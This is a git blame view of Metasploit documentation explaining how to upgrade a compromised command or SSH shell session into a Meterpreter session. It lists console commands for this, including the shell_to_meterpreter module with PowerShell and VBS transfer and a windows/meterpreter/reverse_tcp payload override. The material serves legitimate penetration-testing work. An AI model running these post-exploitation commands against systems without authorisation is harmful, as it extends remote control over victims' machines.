Files

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

33 lines
974 B
Markdown
Raw Permalink Normal View History

2022-04-21 21:18:56 +01:00
## Upgrading shells to Meterpreter
2022-04-22 13:25:02 +01:00
If you have an existing session, either Meterpreter, an SSH, or a basic command shell - you can open a new Meterpreter session with:
2022-04-21 21:18:56 +01:00
```
sessions -u 3
```
To upgrade the most recently opened session to Meterpreter using the `sessions` command:
```
sessions -u -1
```
Or run the `shell_to_meterpreter` module manually:
```
use multi/manage/shell_to_meterpreter
run session=-1
run session=-1 win_transfer=POWERSHELL
run session=-1 win_transfer=VBS
2022-04-23 03:49:56 +01:00
```
If you want to upgrade your shell with fine control over what payload, use the `PAYLOAD_OVERRIDE`, `PLATFORM_OVERRIDE`, and on windows, `PSH_ARCH_OVERRIDE`. All 3 options are required to set an override on windows, and the first two options are required on other platforms, unless you are not using an override.
```
use multi/manage/shell_to_meterpreter
set SESSION 1
set PAYLOAD_OVERRIDE windows/meterpreter/reverse_tcp
set PLATFORM_OVERRIDE windows
set PSH_ARCH_OVERRIDE x64
```